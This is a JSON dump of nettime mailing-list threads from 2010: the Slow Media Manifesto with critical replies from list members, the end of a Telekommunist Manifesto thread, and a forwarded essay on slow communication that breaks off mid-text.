                        "message-id": "ae17d1f59fb6978ecb1684f5bb8893e4 {AT} trick.c",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00026.html",
                        "content-type": "text/plai",
                        "author_name": "Dmytri Kleiner",
                        "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                    },
                    {
                        "from": "Alex Foti <alex.foti {AT} gmail.com>",
                        "content": "\nby the way, precariat was coined by the euromayday, not the frassanito\nnetwork (which was a subset thereof at the time).\n\nloved telekommunismus! and the concept of venture communism prompted\nme to reconsider my fondness for digital anarchism...\n\nbest radical ciaos,\n\nlx\nhttp://milanox.eu\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00029",
                        "date": "Tue, 26 Oct 2010 10:47:47 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "AANLkTintMgOeU_mVCrO6vD=Z6R=TdiBC9=5eaay=034K {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00029.html",
                        "content-type": "text/plai",
                        "author_name": "Alex Foti",
                        "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                    }
                ],
                "message-id": "6540B4A1&#45;5472&#45;47A7&#45;B660&#45;444A9D55B235 {AT} xs4all.nl",
                "date": "Sun, 24 Oct 2010 04:00:58 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00019",
                "content": "\nhttp://en.slow-media.net/manifesto\n\nThe Slow Media Manifesto\nThe first decade of the 21st century, the so-called \u2018naughties\u2019, has  \nbrought profound changes to the technological foundations of the media  \nlandscape. The key buzzwords are networks, the Internet and social  \nmedia. In the second decade, people will not search for new  \ntechnologies allowing for even easier, faster and low-priced content  \nproduction. Rather, appropriate reactions to this media revolution are  \nto be developed and integrated politically, culturally and socially.  \nThe concept \u201cSlow\u201d, as in \u201cSlow Food\u201d and not as in \u201cSlow Down\u201d, is a  \nkey for this. Like \u201cSlow Food\u201d, Slow Media are not about fast  \nconsumption but about choosing the ingredients mindfully and preparing  \nthem in a concentrated manner. Slow Media are welcoming and  \nhospitable. They like to share.\n\n1. Slow Media are a contribution to sustainability. Sustainability  \nrelates to the raw materials, processes and working conditions, which  \nare the basis for media production. Exploitation and low-wage sectors  \nas well as the unconditional commercialization of user data will not  \nresult in sustainable media. At the same time, the term refers to the  \nsustainable consumption of Slow Media.\n\n2. Slow media promote Monotasking. Slow Media cannot be consumed  \ncasually, but provoke the full concentration of their users. As with  \nthe production of a good meal, which demands the full attention of all  \nsenses by the cook and his guests, Slow Media can only be consumed  \nwith pleasure in focused alertness.\n\n3. Slow Media aim at perfection. Slow Media do not necessarily  \nrepresent new developments on the market. More important is the  \ncontinuous improvement of reliable user interfaces that are robust,  \naccessible and perfectly tailored to the media usage habits of the  \npeople.\n\n4. Slow Media make quality palpable. Slow Media measure themselves in  \nproduction, appearance and content against high standards of quality  \nand stand out from their fast-paced and short-lived counterparts \u2013 by  \nsome premium interface or by an aesthetically inspiring design.\n\n5. Slow Media advance Prosumers, i.e. people who actively define what  \nand how they want to consume and produce. In Slow Media, the active  \nProsumer, inspired by his media usage to develop new ideas and take  \naction, replaces the passive consumer. This may be shown by marginals  \nin a book or animated discussion about a record with friends. Slow  \nMedia inspire, continuously affect the users\u2019 thoughts and actions and  \nare still perceptible years later.\n\n6. Slow Media are discursive and dialogic. They long for a counterpart  \nwith whom they may come in contact. The choice of the target media is  \nsecondary. In Slow Media, listening is as important as speaking. Hence  \n\u2018Slow\u2019 means to be mindful and approachable and to be able to regard  \nand to question one\u2019s own position from a different angle.\n\n7. Slow Media are Social Media. Vibrant communities or tribes  \nconstitute around Slow Media. This, for instance, may be a living  \nauthor exchanging thoughts with his readers or a community  \ninterpreting a late musician\u2019s work. Thus Slow Media propagate  \ndiversity and respect cultural and distinctive local features.\n\n8. Slow Media respect their users. Slow Media approach their users in  \na self-conscious and amicable way and have a good idea about the  \ncomplexity or irony their users can handle. Slow Media neither look  \ndown on their users nor approach them in a submissive way.\n\n9. Slow Media are distributed via recommendations not advertising: the  \nsuccess of Slow Media is not based on an overwhelming advertising  \npressure on all channels but on recommendation from friends,  \ncolleagues or family. A book given as a present five times to best  \nfriends is a good example.\n\n10. Slow Media are timeless: Slow Media are long-lived and appear  \nfresh even after years or decades. They do not lose their quality over  \ntime but at best get some patina that can even enhance their value.\n\n11. Slow Media are auratic: Slow Media emanate a special aura. They  \ngenerate a feeling that the particular medium belongs to just that  \nmoment of the user\u2019s life. Despite the fact that they are produced  \nindustrially or are partially based on industrial means of production,  \nthey are suggestive of being unique and point beyond themselves.\n\n12. Slow Media are progressive not reactionary: Slow Media rely on  \ntheir technological achievements and the network society\u2019s way of  \nlife. It is because of the acceleration of multiple areas of life,  \nthat islands of deliberate slowness are made possible and essential  \nfor survival. Slow Media are not a contradiction to the speed and  \nsimultaneousness of Twitter, Blogs or Social Networks but are an  \nattitude and a way of making use of them.\n\n13. Slow Media focus on quality both in production and in reception of  \nmedia content: Craftsmanship in cultural studies such as source  \ncriticism, classification and evaluation of sources of information are  \ngaining importance with the increasing availability of information.\n\n14. Slow Media ask for confidence and take their time to be credible.  \nBehind Slow Media are real people. And you can feel that.\n\nStockdorf and Bonn, Jan 2, 2010\n\nBenedikt K\u00f6hler\nSabria David\nJ\u00f6rg Blumtritt\n\nConfer also:\n\n\t\u2022 http://www.huffingtonpost.com/elissa-altman/move-over-slow-food-intro_b_367517.html\n\t\u2022 http://marketplace.publicradio.org/display/web/2009/11/17/pm-slow-media/\n\t\u2022 http://www.huffingtonpost.com/arianna-huffington/announcing-my-first-pick-_b_310544.html\n\t\u2022 http://blog.oup.com/2008/11/slow_blog/\n\t\u2022 http://www.shep.ca/?p=132\n\n&\n\nhttp://blog.stuttgarter-zeitung.de/?p=5122 (in German)\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00019.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> The Slow Media Manifesto",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "author_name": ". left | coast | lurker .",
                        "from": "\". left | coast | lurker .\" <leftcoastlurker {AT} gmail.com>",
                        "id": "00022",
                        "content": "\n\n ( slow response to the writers_\n    are they on Nettime ? )\n\n\nSlow Food & other such movements are based upon reducing the destructive\nforces of industrial capitalism by increasing the time it takes to produce\nsomething --- such in the realm of agriculture. Such slow movements\nconstitute an attempt to revaluate time, valuing the slowness of temporality\nin giving back time to what takes time, and thus granting the time for\nproduction to be performed in a less destructive manner (in current\nbuzzwords: sustainability, organic and local produce, etc).\n\nHowever a manifesto of Slow <edia has me somewhat confused in terms of its\npositioning in regards to what it attempts to slow down --- if it attempts\nto slow down the production of media at all (and does this mean: a reduction\nof media channels? or of content? and what precisely is meant here by media\ngiven its ambivalence as both conduit and content?).\n\n\n> 7. Slow Media are Social Media. Vibrant communities or tribes\n> constitute around Slow Media. This, for instance, may be a living\n> author exchanging thoughts with his readers or a community\n> interpreting a late musician\u00b9s work. Thus Slow Media propagate\n> diversity and respect cultural and distinctive local features.\n\nI'm curious how the call for a monotasking medium (technically this isn't\n'Slow Media' at all but a call for utilisation of a singular, one at a time\n'slow medium') corresponds with 'social media'. Is the point to redefine\nwhat is meant by 'social media'? To 'perfect' an attitude towards it? To\nsimply use it slowly... like take a long time to answer email?\n\nBecause in its current incarnation, social media produces its dizzying\neffects of 'community' precisely through a monopolization of distraction\nwithin a multitasking digital environment -- neverending status updates,\nmultithreaded conversations and comments, photo streams, miniblogs,\ncross-linked databasing of interests provoking calls for tagging,\nassociative linking, and other opt-ins that generate massive aggregate\ndatabases for corporations pegging the consumer index of desires...\n\nIe, so what I am trying to grasp is (from thesis 12):\n\n\"Slow Media are not a contradiction to the speed and\nsimultaneousness of Twitter, Blogs or Social Networks but are an\nattitude and a way of making use of them.\"\n\nSo Slow Media doesn't affect production at all, but is a lifestyle.\n\nNevertheless, it would appear that given the call for 'monotasking' and\n'focused alertness' (thesis 2), that such Slow Media (as an \"attitude\")\nwould produce an approach completely incompatible with social media ---\nunless slow media is, in fact, nothing less than social media's perfection,\ninsofar as what it calls for is nothing short than a complete, 'monotasking'\nimmersion within it.\n\nI.e., instead of distractively checking Facebook or sending out a quick\nTweet, I should now spend all of my time glued in front of the screen to\nperform these tasks with the perfection of monotasking.\n\nIf Slow Media is meant as some kind of resistance to social media, or\ntemporal deconstruction of it, will it be found by turning all of one's\nattention to it...?\n\nAnd would such an attitude toward an already-existing media structure not\nalso imply that Slow Media is not \"progressive\" but precisely reactionary as\na kind of immersive dispositif toward social media?\n\n\n> 9. Slow Media are distributed via recommendations not advertising: the\n> success of Slow Media is not based on an overwhelming advertising\n> pressure on all channels but on recommendation from friends,\n> colleagues or family. A book given as a present five times to best\n> friends is a good example.\n\nUnfortunately, this position delimits & underestimates advertising in a way\nnot seen since the beginning of the 20th century . By all accounts,\nadvertising works precisely through recommendations -- and quite literally.\nI'm thinking here of Amazon's recommendation databasing, for example. But\ncertainly in more insidious forms: it is the very unconconscious\nmechanization of brand \"recommendations\" that advertising strives to\nproduce.\n\nSo far, this manifesto seems to support the complete immersion within\ndistractive social media through the utter resignation to unconscious forms\nof advertising. This manifesto itself appears in its most reactionary form\nas a mere reflection of the very desires and wishes of the organised systems\nof social media and consumer capital.\n\nWhich is why I shudder when I read that:\n\n> 5. Slow Media advance Prosumers, i.e. people who actively define what  and\n> how they want to consume and produce. In Slow Media, the active  Prosumer,\n> inspired by his media usage to develop new ideas and take  action, replaces\n> the passive consumer. This may be shown by marginals  in a book or animated\n> discussion about a record with friends. Slow  Media inspire, continuously\n> affect the users\u00b9 thoughts and actions and  are still perceptible years\n> later.\n\n\nHeavens. If there ever was a historical category of \"passive consumers\",\nsuch a fictive mass only ever existed within the superbly imaginative realm\nof advertising as a construct to make \"us\" feel better over \"how far we've\ncome\": \"Just look at you now, baby\" -- Yep, now you can choose to smoke\nVirginia Slims, Woman!\n\nThis manifesto seems to read as if consumer capital didn't invent the\nProsumer as a more invasive procedure of snaring mass desire to begin with.\nIf one can be made to feel part of something, one is less likely to critique\nit. Moreover, the prosumer also conveniently generates free R&D for whom\ns/he serves. While this used to be through focus groups, polls and surveys,\nnow every click and movement online is tracked to further \"enhance\" the\nexperience of dangling consumer desire in front of your eyes. This is the\nentire economic model of social media --- i.e., it is what makes it\n\"sustainable\" (see thesis #1).\n\n\nIn short, this Manifesto appears to only signify the complete and utter\nbreakdown of any attempt to think an imaginative alternative to the impulses\nof consumer capital.\n\nInstead of allowing us to make use of media for what it is -- something we\nshouldn't spend too much time with precisely because of its desire-traps\nthat induce you to buy the new fucking iPhone or whatever -- it calls for us\nto spend MORE time with it.\n\nNo. Nein. How about less time with Twitter & Facebook, and more time getting\nto know your neighbour, your library, the people in your local coffeeshop,\nthe grassroots level of political organisations in your locale, and the\nalternative online networks (such as this one) that call for sustained\nanalysis and thought --- which demonstratively translates here & there into\naction.\n\n    (requisite shout-outs to Toronto & Chicago at this very moment ... )\n\nOh, and read a book every once in awhile too. And not on the censorious\niPad. Marginalia exists not as a metaphor of the Prosumer (such in thesis\n5), but as an activity of defacing and questioning the command and control\nprinciples of the received text. Get out and get some graffiti done while\nyou're at it.\n\n\n/ best, tobias.\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "date": "Thu, 24 Jun 2010 14:25:38 -0700",
                        "to": "nettime <nettime-l {AT} kein.org>",
                        "message-id": "C8491B62.45A5E%leftcoastlurker {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00022.html",
                        "content-type": "text/plai",
                        "follow-up": [
                            {
                                "from": "patrick lichty <info {AT} voyd.com>",
                                "content": "\nAlthough this is a fairly short note, I believe that this is germane to Trebor Scholz' notes on Constant Partial Attention Disorder\n\nhttp://www.collectivate.net/journalisms/2007/3/16/the-good-and-bad-of-technology-once-and-for-all.html\n\nI feel that there is a confluence of noise that is getting remarked upon afgain and again, that seems to try to be remedied with things like aggregators, etc, and in the end, i think that the real solution is to just prune out the uinnecessary or focus on as little as you have to.  It's dangeroud for many artists who feel that they have to be addicted tot he produc tion model, but in short, I think to think tactically is better in the first place.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00026",
                                "date": "Fri, 25 Jun 2010 10:53:56 -0400 (EDT)",
                                "to": "nettime <nettime-l {AT} kein.org>",
                                "message-id": "20100625145356.57F2B6E60 {AT} atlas.cnchost.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00026.html",
                                "content-type": "text/plai",
                                "author_name": "patrick lichty",
                                "subject": "Re: <nettime> The Slow Media Manifesto"
                            }
                        ],
                        "subject": "Re: <nettime> The Slow Media Manifesto"
                    },
                    {
                        "author_name": "olia lialina",
                        "from": "lia lialina <olia {AT} profolia.org>",
                        "id": "00024",
                        "content": "\n\n> 2. Slow media promote Monotasking. Slow Media cannot be consumed\n> casually, but provoke the full concentration of their users. As with\n> the production of a good meal, which demands the full attention\n> of all senses by the cook and his guests, Slow Media can only be\n> consumed with pleasure in focused alertness.\n\nWith all respect to monotasking, and claim for concious approach to\nmedia consumption and production: Why it happened that in 2010 (1024\nyears after digital revolution) a group of new-media-aware people is\nbrining their message across though food analogies?\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "date": "Thu, 24 Jun 2010 23:18:43 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4C23CBB3.3030208 {AT} profolia.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00024.html",
                        "content-type": "text/plai",
                        "follow-up": [
                            {
                                "from": "lly Hankwitz <mollyhankwitz {AT} gmail.com>",
                                "content": "\nThere is something rather 'connisseur' like in this expression of\nSlow Media. I like the idea of Slow Media, as opposed, I guess to\nFast Media? or the kind of speed-thing that Virilio points at about\ntechnologies themselves, but why is this good meal being made by a\nmale chef, a, and is this more an argument for some kind of Fine\nMedia, as opposed to Low Media? Chefs rather than cooks - class\nhierarchy in media making - such that something conceivably 'fast'\nmight be critiqued along the same lines as art was when it turned\n'pop' or something.\n\nMolly\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00025",
                                "date": "Fri, 25 Jun 2010 10:48:45 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "AANLkTil2LgBa9nH_&#45;E6Vm0HYbpHMe9Jc6CXZ3W5wnU03 {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00025.html",
                                "content-type": "text/plai",
                                "author_name": "molly Hankwitz",
                                "subject": "Re: <nettime> The Slow Media Manifesto"
                            }
                        ],
                        "subject": "Re: <nettime> The Slow Media Manifesto"
                    },
                    {
                        "from": "Jeebesh <jeebesh {AT} sarai.net>",
                        "content": "\n>http://en.slow-media.net/manifesto\n\nWithin this context this essay could be read.\n\nEarthworms Dancing: Notes for a Biennial in Slow Motion\nRaqs Media Collective\n\nhttp://www.e-flux.com/journal/view/69\n\nwarmly\njeebesh\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00021",
                        "date": "Thu, 24 Jun 2010 19:02:34 +0530",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "e3b7ee580486b4b26cef3bb057d8b336 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00021.html",
                        "content-type": "text/plai",
                        "author_name": "Jeebesh",
                        "subject": "Re: <nettime> The Slow Media Manifesto"
                    },
                    {
                        "from": "patrick lichty <info {AT} voyd.com>",
                        "content": "\nOr perhaps we could look at the collectivist/anarchist model of slow\n- derive-media as agent of resistance. I like Craig Freeman & Will\nPappenheimer's Hydroflaneuriaziine piece that makes an avatar wander\nrandomly around Second Life.\n\nbut back to the grass-roots approach, classless, collective mediation,\nflat/rhizomatic stuff that is not rapid and breathless like Deleuze\nmentions. No chefs, no high/low, just a helpful community of loving\ngrace.\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00027",
                        "date": "Sat, 26 Jun 2010 12:14:06 -0400 (EDT)",
                        "to": "<nettime-l {AT} kein.org>",
                        "message-id": "cad328d14f69969c8a08f1ddeeae12d2 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00027.html",
                        "content-type": "text/plai",
                        "author_name": "patrick lichty",
                        "subject": "Re: <nettime> The Slow Media Manifesto"
                    },
                    {
                        "from": "patrick lichty <info {AT} voyd.com>",
                        "content": "\nAlthough this is a fairly short note, I believe that this is germane to Trebor Scholz' notes on Constant Partial Attention Disorder\n\nhttp://www.collectivate.net/journalisms/2007/3/16/the-good-and-bad-of-technology-once-and-for-all.html\n\nI feel that there is a confluence of noise that is getting remarked upon afgain and again, that seems to try to be remedied with things like aggregators, etc, and in the end, i think that the real solution is to just prune out the uinnecessary or focus on as little as you have to.  It's dangeroud for many artists who feel that they have to be addicted tot he produc tion model, but in short, I think to think tactically is better in the first place.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00026",
                        "date": "Fri, 25 Jun 2010 10:53:56 -0400 (EDT)",
                        "to": "nettime <nettime-l {AT} kein.org>",
                        "message-id": "20100625145356.57F2B6E60 {AT} atlas.cnchost.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00026.html",
                        "content-type": "text/plai",
                        "author_name": "patrick lichty",
                        "subject": "Re: <nettime> The Slow Media Manifesto"
                    },
                    {
                        "from": "lly Hankwitz <mollyhankwitz {AT} gmail.com>",
                        "content": "\nThere is something rather 'connisseur' like in this expression of\nSlow Media. I like the idea of Slow Media, as opposed, I guess to\nFast Media? or the kind of speed-thing that Virilio points at about\ntechnologies themselves, but why is this good meal being made by a\nmale chef, a, and is this more an argument for some kind of Fine\nMedia, as opposed to Low Media? Chefs rather than cooks - class\nhierarchy in media making - such that something conceivably 'fast'\nmight be critiqued along the same lines as art was when it turned\n'pop' or something.\n\nMolly\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00025",
                        "date": "Fri, 25 Jun 2010 10:48:45 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "AANLkTil2LgBa9nH_&#45;E6Vm0HYbpHMe9Jc6CXZ3W5wnU03 {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1006/msg00025.html",
                        "content-type": "text/plai",
                        "author_name": "molly Hankwitz",
                        "subject": "Re: <nettime> The Slow Media Manifesto"
                    }
                ],
                "message-id": "9EA450EC&#45;C6DA&#45;43BF&#45;8335&#45;3849C776B796 {AT} xs4all.nl",
                "date": "Wed, 23 Jun 2010 12:28:56 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "\"Patrice Riemens\" <patrice {AT} xs4all.nl>",
                "content": "\nbwo Wall Street Journal (August 21, 2009)\noriginal at: http://tinyurl.com/ndokgn\n\n\nNot So Fast\nSending and receiving at breakneck speed can make life queasy; a manifesto\nfor slow communication\n\nBy JOHN FREEMAN\n\nThe boundlessness of the Internet always runs into the hard fact of our\nanimal nature, our physical limits, the dimensions of our cognitive\npresent, the overheated capac\u00adity of our minds. \"My friend has just had\nhis PC wired for broadband,\" writes the poet Don Paterson. \"I meet him in\nthe caf\u00e9; he looks terrible?his face puffy and pale, his eyes bloodshot. .\n. . He tells me he is now detained, night and day, in downloading every\nalbum he ever owned, lost, desired, or was casually intrigued by; he has\nnow stopped even listen\u00ading to them, and spends his time sleeplessly\nmonitoring a progress bar. . . . He says it's like all my birthdays have\ncome at once, by which I can see he means, precisely, that he feels he is\ngoing to die.\"\n\nWe will die, that much is certain; and everyone we have ever loved and\ncared about will die, too, sometimes?heartbreakingly?before us. Being\nsomeone else, traveling the world, making new friends gives us a temporary\nreprieve from this knowledge, which is spared most of the animal kingdom.\nBusyness?or the simulated busyness of email addiction?numbs the pain of\nthis awareness, but it can never totally submerge it. Given that our days\nare limited, our hours precious, we have to decide what we want to do,\nwhat we want to say, what and who we care about, and how we want to\nallocate our time to these things within the limits that do not and cannot\nchange. In short, we need to slow down.\n\nOur society does not often tell us this. Progress, since the dawn of the\nIndustrial Age, is supposed to be a linear upward progression; graphs with\nupward slopes are a good sign. Process\u00ading speeds are always getting\nfaster; broadband now makes dial-\u00adup seem like traveling by horse and\nbuggy. Growth is eternal. But only two things grow indefinitely or have\nindefinite growth firmly ensconced at the heart of their being: cancer and\nthe cor\u00adporation. For everything else, especially in nature, the\nconsum\u00ading fires eventually come and force a starting over.\n\nThe ultimate form of progress, however, is learning to decide what is\nworking and what is not; and working at this pace, emailing at this\nfrantic rate, is pleasing very few of us. It is encroaching on parts of\nour lives that should be separate or sacred, altering our minds and our\nability to know our world, encouraging a further distancing from our\nbodies and our natures and our communities. We can change this; we have to\nchange it. Of course email is good for many things; that has never been in\ndispute. But we need to learn to use it far more sparingly, with far less\ndependency, if we are to gain control of our lives.\n\nIn the past two decades, we have witnessed one of the greatest breakdowns\nof the barrier between our work and per\u00adsonal lives since the notion of\nleisure time emerged in Victorian Britain as a result of the Industrial\nAge. It has put us under great physical and mental strain, altering our\nbrain chemistry and daily needs. It has isolated us from the people with\nwhom we live, siphoning us away from real-world places where we gather. It\nhas encouraged flotillas of unnecessary jabbering, making it difficult to\ntell signal from noise. It has made it more difficult to read slowly and\nenjoy it, hastening the already declining rates of literacy. It has made\nit harder to listen and mean it, to be idle and not fidget.\n\nThis is not a sustainable way to live. This lifestyle of being constantly\non causes emotional and physical burnout, work\u00adplace meltdowns, and\nunhappiness. How many of our most joyful memories have been created in\nfront of a screen?\n\nIf we are to step off this hurtling machine, we must reassert principles\nthat have been lost in the blur. It is time to launch a manifesto for a\nslow communication movement, a push back against the machines and the\nforces that encourage us to remain connected to them. Many of the values\nof the Internet are social improvements?it can be a great platform for\nsolidarity, it rewards curiosity, it enables convenience. This is not the\nmani\u00adfesto of a Luddite, this is a human manifesto. If the technology is\nto be used for the betterment of human life, we must reassert that the\nInternet and its virtual information space is not a world unto itself but\na supplement to our existing world, where the following three statements\nare self-evident.\n\n1. Speed matters.\n\nWe have numerous technologies that can work with extreme rapidity. But we\ndon't use these capabilities because they are either dangerous (even the\nAutobahn has begun applying speed limits, due to severe accidents) or\nuncomfortable (imagine tur\u00adbulence at 1,200 miles per hour) or would ruin\nthe point of hav\u00ading the technology at all (played back faster than it was\nrecorded, Led Zeppelin's syrupy metal sound turns to tinsel).\n\nThe speed at which we do something?anything?changes our experience of it.\nWords and communication are not immune to this fundamental truth. The\nfaster we talk and chat and type over tools such as email and text\nmessages, the more our com\u00admunication will resemble traveling at great\nspeed. Bumped and jostled, queasy from the constant ocular and muscular\nadjust\u00adments our body must make to keep up, we will live in a constant\nstate of digital jet lag.\n\nThis is a disastrous development on many levels. Brain sci\u00adence may\nsuggest that some decisions can be made in the blink of an eye, but not\nall judgments benefit from a short frame of reference. We need to protect\nthe finite well of our attention if we care about our relationships. We\nneed time in order to prop\u00aderly consider the effect of what we say upon\nothers. We need time in order to grasp the political and professional\nramifica\u00adtions of our typed correspondence. We need time to shape and\ndesign and filter our words so that we say exactly what we mean.\nCommunicating at great haste hones our utterances down to instincts and\nimpulses that until now have been held back or channeled more carefully.\n\nContinuing in this strobe-lit techno-rave communication environment as it\nstands will be destructive for businesses. Employees communicating at\nbreakneck speed make mistakes. They forget, cross boundaries that exist\nfor a reason, make sloppy errors, offend clients, spread rumors and gossip\nthat would never travel through offline channels, work well past the point\nwhere their contributions are helpful, burn out and break down and then\nhave trouble shutting down and recuperating. The churn produced by this\ncommunication lifestyle cannot be sustained. \"To perfect things, speed is\na unifying force,\" the race-car driver Michael Schumacher has said. \"To\nimperfect things, speed is a destructive force.\" No company is perfect,\nnor is any individual.\n\nIt is hard not to blame us for believing otherwise, because the Internet\nand the global markets it facilitates have bought into a fundamental\nwarping of the actual meaning of speed. Speed used to convey urgency; now\nwe somehow think it means efficiency. One can even see this in the\netymology of the word. The earliest recorded use of it as a verb?\"to go\nfast\"? dates back to 1300, when horses were the primary mode of moving in\nhaste. By 1569, as the printing press was beginning to remake society,\nspeed was being used to mean \"to send forth with quickness.\" By 1856, in\nthe thick of the Industrial Revo\u00adlution, when machines and mechanized\nproduction and train travel were remaking society yet again, \"speed\" took\non another meaning. It was being used to \"increase the work rate of,\" as\nin speed up.\n\nThere is a paradox here, though. The Internet has provided us with an\nalmost unlimited amount of information, but the speed at which it\nworks?and we work through it?has deprived us of its benefits. We might\nwork at a higher rate, but this is not work\u00ading. We can store a limited\namount of information in our brains and have it at our disposal at any one\ntime. Making decisions in this communication brownout, though without\ncomplete infor\u00admation, we go to war hastily, go to meetings unprepared,\nand build relationships on the slippery gravel of false impressions.\nAttention is one of the most valuable modern resources. If we waste it on\nfrivolous communication, we will have nothing left when we really need it.\n\nEverything we say needn't travel at the fastest rate possible. The\ndifference between typing an email and writing a letter or memo out by\nhand is akin to walking on concrete versus stroll\u00ading on grass. You forget\nhow natural it feels until you do it again. Our time on this earth is\nlimited, the world is vast, and the people we care about or need for our\nbusiness life to operate will not always live and work nearby; we will\nalways have to com\u00admunicate over distance. We might as well enjoy it and\npreserve the space and time to do it in a way that matches the rhythms of\nour bodies. Continuing to work and type and write at speed, however, will\nmake our communication environment resemble our cities. There will be\nconcrete as far as the eye can see.\n\n2. The Physical World matters.\n\nA large part of electronic commu\u00adnication leads us away from the physical\nworld. Our cafes, post offices, parks, cinemas, town centers, main streets\nand commu\u00adnity meeting halls have suffered as a result of this\ndevelopment. They are beginning to resemble the tidy and lonely bedroom\ncommuter towns created by the expansion of the American interstate system.\nSitting in the modern coffee shop, you don't hear the murmur or rise and\nfall of conversation but the con\u00adtinuous, insect-like patter of typing.\nThe disuse of real-world commons drives people back into the virtual\nworld, causing a feedback cycle that leads to an ever-deepening isolation\nand neglect of the tangible commons.\n\nThis is a terrible loss. We may rely heavily on the Internet, but we\ncannot touch it, taste it or experience the indescribable feeling of\ntogetherness that one gleans from face-to-face interac\u00adtion, from the\nreassuring sensation of being among a crowd of one's neighbors. Seeing one\nanother in these situations reinforces the importance of sharing\nresources, of working together, of bal\u00adancing our own needs with those of\nothers. Online, these values become notions that are much more easily\nsuspended to further our own self-interest. Not surprisingly, political\nmovements that begin online must have a real-world component; otherwise\nthey evaporate and dissolve into the blur of other activities.\n\nIt is almost impossible to navigate the Web without having to stutter-step\naround ads and blinking messages from sponsors. In using this tool so\nheavily, consumers aren't just frying their attention spans, they're\nforfeiting one of the large sources of information that comes from\nface-to-face interaction and business. A butcher can tell you which cuts\nof meat are the freshest; an online grocer may not. That same butcher, if\nhe is good, might not just remember your preferences?which an online\nretailer can do frighteningly well?but ask you how your mother has been\ndoing, whether you caught the latest football game. These interactions\nremind us that we are more than con\u00adsumers; they remind us that we are\npart of the world in a way no amount of online shopping ever will.\n\nIf we spend our eve\u00adning online trading short messages over Facebook with\nfriends thousands of miles away rather than going to our local pub or park\nwith a friend, we are effectively withdrawing from the peo\u00adple we could\nturn to for solace, humor and friendship, not to mention the places we\ncould go to do this. We trade the com\u00adplicated reality of friendship for\nits vacuum-packed idea.\n\n3. Context matters\n\nWe need context in order to live, and if the environment of electronic\ncommunication has stopped providing it, we shouldn't search online for a\nsolution but turn back to the real world and slow down. To do this, we\nneed to 